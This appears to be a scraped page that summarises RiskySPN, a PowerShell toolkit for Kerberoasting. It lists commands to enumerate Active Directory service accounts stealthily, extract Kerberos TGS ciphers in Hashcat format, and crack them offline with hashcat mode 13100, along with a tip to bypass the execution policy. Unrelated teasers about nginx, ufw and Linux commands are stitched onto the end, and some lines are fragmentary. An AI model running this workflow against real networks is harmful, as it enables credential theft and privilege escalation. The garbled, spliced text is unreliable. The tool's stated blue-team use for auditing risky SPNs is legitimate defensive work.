RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
Import-Module .\RiskySPNs.psm1 IEX from the web). .\Find-PotentiallyCrackableAccounts.ps1 Make sure Set-ExecutionPolicy is Unrestricted or Bypass
Get-Help Get-TGSCipher -Full All functions also have the -Verbosemode
Find-PotentiallyCrackableAccounts Sensitive + RC4 = $$$
Export-PotentiallyCrackableAccounts Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433" Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3 Nginx is a high-performance web server and reverse proxy trusted by some of the largest…
ufw (Uncomplicated Firewall) sits on top of iptables (or nftables on newer systems) and replaces…
When you share a server with a team or investigate unexpected activity, the first question…
The file command inspects the actual contents of a file and reports its type — regardless of…
chattr sets and removes special file attributes that operate at the filesystem level, separate from standard…
env prints the current environment, sets or removes variables for a single command, and can start…